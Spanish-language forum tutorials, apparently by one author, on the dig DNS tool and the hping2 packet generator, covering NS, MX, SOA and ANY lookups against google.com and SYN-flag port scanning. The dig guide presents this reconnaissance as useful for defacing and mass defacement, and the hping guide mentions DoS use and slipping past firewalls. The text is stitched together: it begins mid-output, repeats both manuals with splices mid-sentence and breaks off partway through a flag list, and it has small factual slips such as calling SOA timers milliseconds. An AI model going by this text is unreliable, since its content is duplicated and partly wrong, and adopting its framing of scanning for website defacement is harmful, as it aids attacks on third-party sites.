M.ROOT-SERVERS.NET. 30938 IN A 202.12.27.33
A.ROOT-SERVERS.NET. 591011 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 30938 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 39988 IN A 192.33.4.12
D.ROOT-SERVERS.NET. 53749 IN A 128.8.10.90
E.ROOT-SERVERS.NET. 30938 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 591011 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 53680 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 30939 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 40043 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 591011 IN A 192.58.128.30
K.ROOT-SERVERS.NET. 591011 IN A 193.0.14.129
L.ROOT-SERVERS.NET. 30938 IN A 198.32.64.12

;; Query time: 383 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:09:15 2007
;; MSG SIZE rcvd: 436


Algunas funciones de dig:

Tracer:
Quote
BT ~ # dig web.com +trace
Bueno creo que es logico lo que hace.....

Resolver DNS de una web:
Quote
BT ~ # dig web.com NS

Esto nos devuelve la lista de los servidores DNS de determinada web.

Ejemplo:
Quote
BT ~ # dig google.com NS

; <<>> DiG 9.3.2 <<>> google.com NS
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 27071
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN NS

;; ANSWER SECTION:
google.com. 64768 IN NS ns1.google.com.
google.com. 64768 IN NS ns2.google.com.
google.com. 64768 IN NS ns3.google.com.
google.com. 64768 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345450 IN A 216.239.34.10
ns3.google.com. 345450 IN A 216.239.36.10
ns4.google.com. 345450 IN A 216.239.38.10
ns1.google.com. 345450 IN A 216.239.32.10

;; Query time: 276 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:26:59 2007
;; MSG SIZE rcvd: 164

Listar Servidores de Correo de determinado dominio:

Quote
BT ~ # dig google.com MX

; <<>> DiG 9.3.2 <<>> google.com MX
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 35446
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN MX

;; ANSWER SECTION:
google.com. 4237 IN MX 10 smtp1.google.com.
google.com. 4237 IN MX 10 smtp2.google.com.
google.com. 4237 IN MX 10 smtp3.google.com.
google.com. 4237 IN MX 10 smtp4.google.com.

;; ADDITIONAL SECTION:
smtp2.google.com. 1054 IN A 64.233.167.25
smtp3.google.com. 1060 IN A 64.233.183.25
smtp4.google.com. 1066 IN A 72.14.215.25
smtp1.google.com. 3329 IN A 72.14.203.25

;; Query time: 583 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:28:39 2007
;; MSG SIZE rcvd: 180

Consultar datos de un Dominio en determinado servidor DNS:

Quote
BT ~ # dig google.com @ns1.google.com

; <<>> DiG 9.3.2 <<>> google.com @ns1.google.com
; (1 server found)
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 34414
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN A

;; ANSWER SECTION:
google.com. 300 IN A 64.233.167.99
google.com. 300 IN A 72.14.207.99
google.com. 300 IN A 64.233.187.99

;; AUTHORITY SECTION:
google.com. 345600 IN NS ns1.google.com.
google.com. 345600 IN NS ns2.google.com.
google.com. 345600 IN NS ns3.google.com.
google.com. 345600 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns1.google.com. 345600 IN A 216.239.32.10
ns2.google.com. 345600 IN A 216.239.34.10
ns3.google.com. 345600 IN A 216.239.36.10
ns4.google.com. 345600 IN A 216.239.38.10

;; Query time: 1124 msec
;; SERVER: 216.239.32.10#53(216.239.32.10)
;; WHEN: Tue Sep 25 20:30:38 2007
;; MSG SIZE rcvd: 212

DNS Inverso:

Quote
BT ~ # dig -x google.com

; <<>> DiG 9.3.2 <<>> -x google.com
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: FORMERR, id: 36927
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;com.google.in-addr.arpa. IN PTR

;; Query time: 3 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:35:52 2007
;; MSG SIZE rcvd: 41

Numero IP en IPv6:

Quote
BT ~ #dig google.com AAAA

; <<>> DiG 9.3.2 <<>> google.com AAAA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 21031
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN AAAA

;; AUTHORITY SECTION:
google.com. 39 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 1084 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:41:20 2007
;; MSG SIZE rcvd: 78
[/b]

otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:

Quote
BT ~ # dig google.com ANY

; <<>> DiG 9.3.2 <<>> google.com ANY
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 65404
;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8

;; QUESTION SECTION:
;google.com. IN ANY

;; ANSWER SECTION:
google.com. 181 IN A 64.233.167.99
google.com. 181 IN A 72.14.207.99
google.com. 181 IN A 64.233.187.99
google.com. 63936 IN NS ns1.google.com.
google.com. 63936 IN NS ns2.google.com.
google.com. 63936 IN NS ns3.google.com.
google.com. 63936 IN NS ns4.google.com.
google.com. 3505 IN MX 10 smtp2.google.com.
google.com. 3505 IN MX 10 smtp3.google.com.
google.com. 3505 IN MX 10 smtp4.google.com.
google.com. 3505 IN MX 10 smtp1.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345481 IN A 216.239.34.10
ns3.google.com. 345481 IN A 216.239.36.10
ns4.google.com. 345481 IN A 216.239.38.10
ns1.google.com. 345481 IN A 216.239.32.10
smtp3.google.com. 328 IN A 64.233.183.25
smtp4.google.com. 334 IN A 72.14.215.25
smtp1.google.com. 3332 IN A 72.14.203.25
smtp2.google.com. 322 IN A 64.233.167.25

;; Query time: 1243 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:40:52 2007
;; MSG SIZE rcvd: 364

Mail del responsable y otros datos del DNS:
Quote
BT ~ # dig google.com SOA

; <<>> DiG 9.3.2 <<>> google.com SOA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 52736
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN SOA

;; ANSWER SECTION:
google.com. 86400 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 2563 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:51:14 2007
;; MSG SIZE rcvd: 78

aqui el correo seria: dns-admin@google.com (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17, el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).

otras funciones utiles:
+nocmd
+nocomments
+noquestion
+noanswer
+noauthority
+noadditional
+nostats
+noall

Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:

El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:
Quote
BT ~ # dig ns

Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:

Quote
; <<>> DiG 9.3.2 <<>> ns
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 4874
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 234977 IN NS L.ROOT-SERVERS.NET.
. 234977 IN NS M.ROOT-SERVERS.NET.
. 234977 IN NS A.ROOT-SERVERS.NET.
. 234977 IN NS B.ROOT-SERVERS.NET.
. 234977 IN NS C.ROOT-SERVERS.NET.
. 234977 IN NS D.ROOT-SERVERS.NET.
. 234977 IN NS E.ROOT-SERVERS.NET.
. 234977 IN NS F.ROOT-SERVERS.NET.
. 234977 IN NS G.ROOT-SERVERS.NET.
. 234977 IN NS H.ROOT-SERVERS.NET.
. 234977 IN NS I.ROOT-SERVERS.NET.
. 234977 IN NS J.ROOT-SERVERS.NET.
. 234977 IN NS K.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
M.ROOT-SERVERS.NET. 30938 IN A 202.12.27.33
A.ROOT-SERVERS.NET. 591011 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 30938 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 39988 IN A 192.33.4.12
D.ROOT-SERVERS.NET. 53749 IN A 128.8.10.90
E.ROOT-SERVERS.NET. 30938 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 591011 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 53680 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 30939 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 40043 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 591011 IN A 192.58.128.30
K.ROOT-SERVERS.NET. 591011 IN A 193.0.14.129
L.ROOT-SERVERS.NET. 30938 IN A 198.32.64.12

;; Query time: 383 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:09:15 2007
;; MSG SIZE rcvd: 436


Algunas funciones de dig:

Tracer:
Quote
BT ~ # dig web.com +trace
Bueno creo que es logico lo que hace.....

Resolver DNS de una web:
Quote
BT ~ # dig web.com NS

Esto nos devuelve la lista de los servidores DNS de determinada web.

Ejemplo:
Quote
BT ~ # dig google.com NS

; <<>> DiG 9.3.2 <<>> google.com NS
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 27071
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN NS

;; ANSWER SECTION:
google.com. 64768 IN NS ns1.google.com.
google.com. 64768 IN NS ns2.google.com.
google.com. 64768 IN NS ns3.google.com.
google.com. 64768 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345450 IN A 216.239.34.10
ns3.google.com. 345450 IN A 216.239.36.10
ns4.google.com. 345450 IN A 216.239.38.10
ns1.google.com. 345450 IN A 216.239.32.10

;; Query time: 276 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:26:59 2007
;; MSG SIZE rcvd: 164

Listar Servidores de Correo de determinado dominio:

Quote
BT ~ # dig google.com MX

; <<>> DiG 9.3.2 <<>> google.com MX
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 35446
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN MX

;; ANSWER SECTION:
google.com. 4237 IN MX 10 smtp1.google.com.
google.com. 4237 IN MX 10 smtp2.google.com.
google.com. 4237 IN MX 10 smtp3.google.com.
google.com. 4237 IN MX 10 smtp4.google.com.

;; ADDITIONAL SECTION:
smtp2.google.com. 1054 IN A 64.233.167.25
smtp3.google.com. 1060 IN A 64.233.183.25
smtp4.google.com. 1066 IN A 72.14.215.25
smtp1.google.com. 3329 IN A 72.14.203.25

;; Query time: 583 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:28:39 2007
;; MSG SIZE rcvd: 180

Consultar datos de un Dominio en determinado servidor DNS:

Quote
BT ~ # dig google.com @ns1.google.com

; <<>> DiG 9.3.2 <<>> google.com @ns1.google.com
; (1 server found)
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 34414
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN A

;; ANSWER SECTION:
google.com. 300 IN A 64.233.167.99
google.com. 300 IN A 72.14.207.99
google.com. 300 IN A 64.233.187.99

;; AUTHORITY SECTION:
google.com. 345600 IN NS ns1.google.com.
google.com. 345600 IN NS ns2.google.com.
google.com. 345600 IN NS ns3.google.com.
google.com. 345600 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns1.google.com. 345600 IN A 216.239.32.10
ns2.google.com. 345600 IN A 216.239.34.10
ns3.google.com. 345600 IN A 216.239.36.10
ns4.google.com. 345600 IN A 216.239.38.10

;; Query time: 1124 msec
;; SERVER: 216.239.32.10#53(216.239.32.10)
;; WHEN: Tue Sep 25 20:30:38 2007
;; MSG SIZE rcvd: 212

DNS Inverso:

Quote
BT ~ # dig -x google.com

; <<>> DiG 9.3.2 <<>> -x google.com
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: FORMERR, id: 36927
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;com.google.in-addr.arpa. IN PTR

;; Query time: 3 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:35:52 2007
;; MSG SIZE rcvd: 41

Numero IP en IPv6:

Quote
BT ~ #dig google.com AAAA

; <<>> DiG 9.3.2 <<>> google.com AAAA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 21031
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN AAAA

;; AUTHORITY SECTION:
google.com. 39 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 1084 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:41:20 2007
;; MSG SIZE rcvd: 78
[/b]

otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:

Quote
BT ~ # dig google.com ANY

; <<>> DiG 9.3.2 <<>> google.com ANY
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 65404
;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8

;; QUESTION SECTION:
;google.com. IN ANY

;; ANSWER SECTION:
google.com. 181 IN A 64.233.167.99
google.com. 181 IN A 72.14.207.99
google.com. 181 IN A 64.233.187.99
google.com. 63936 IN NS ns1.google.com.
google.com. 63936 IN NS ns2.google.com.
google.com. 63936 IN NS ns3.google.com.
google.com. 63936 IN NS ns4.google.com.
google.com. 3505 IN MX 10 smtp2.google.com.
google.com. 3505 IN MX 10 smtp3.google.com.
google.com. 3505 IN MX 10 smtp4.google.com.
google.com. 3505 IN MX 10 smtp1.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345481 IN A 216.239.34.10
ns3.google.com. 345481 IN A 216.239.36.10
ns4.google.com. 345481 IN A 216.239.38.10
ns1.google.com. 345481 IN A 216.239.32.10
smtp3.google.com. 328 IN A 64.233.183.25
smtp4.google.com. 334 IN A 72.14.215.25
smtp1.google.com. 3332 IN A 72.14.203.25
smtp2.google.com. 322 IN A 64.233.167.25

;; Query time: 1243 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:40:52 2007
;; MSG SIZE rcvd: 364

Mail del responsable y otros datos del DNS:
Quote
BT ~ # dig google.com SOA

; <<>> DiG 9.3.2 <<>> google.com SOA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 52736
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN SOA

;; ANSWER SECTION:
google.com. 86400 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 2563 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:51:14 2007
;; MSG SIZE rcvd: 78

aqui el correo seria: dns-admin@google.com (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17, el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).

otras funciones utiles:
+nocmd
+nocomments
+noquestion
+noanswer
+noauthority
+noadditional
+nostats
+noall

Su funcion es logica, y son utiles cuando queremos resumir las respuestas....


Autor: Thera Hack

Manual Hping

Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Solo queda probar tongue, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad cheesy....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
